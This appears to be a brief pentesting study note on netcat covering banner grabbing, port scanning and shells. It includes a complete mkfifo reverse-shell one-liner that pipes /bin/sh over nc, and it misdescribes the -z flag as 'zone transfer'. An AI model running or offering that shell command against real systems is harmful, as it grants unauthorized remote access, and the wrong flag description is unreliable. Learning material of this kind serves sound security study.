# Netcat

* TCP/IP Swiss Army Knife - we will use this tool alot
* Traffic is not encrypted ( unless you use **ncat**)

> Can scan ports but can also be used for:
>
> -> chatting between two computers
>
> -> banner grabbing
>
> -> for shell
>
> -> file transfer

## Banner Grabbing <a href="#banner-grabbing" id="banner-grabbing"></a>

```
nc -v facebook.com 80
```

## Netcat without -e flag <a href="#netcat-without-e-flag" id="netcat-without-e-flag"></a>

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 4443 >/tmp/f
```

## Port Scanning <a href="#port-scanning" id="port-scanning"></a>

```
 nc -nv -w 1 -z 192.168.1.1 1-1024
 
-nv = doesn't resolve dns
-w 1 = sets timeout to 1 second
-z = specifies zone transfer
-u = UDP mode (can be unreliable)
```
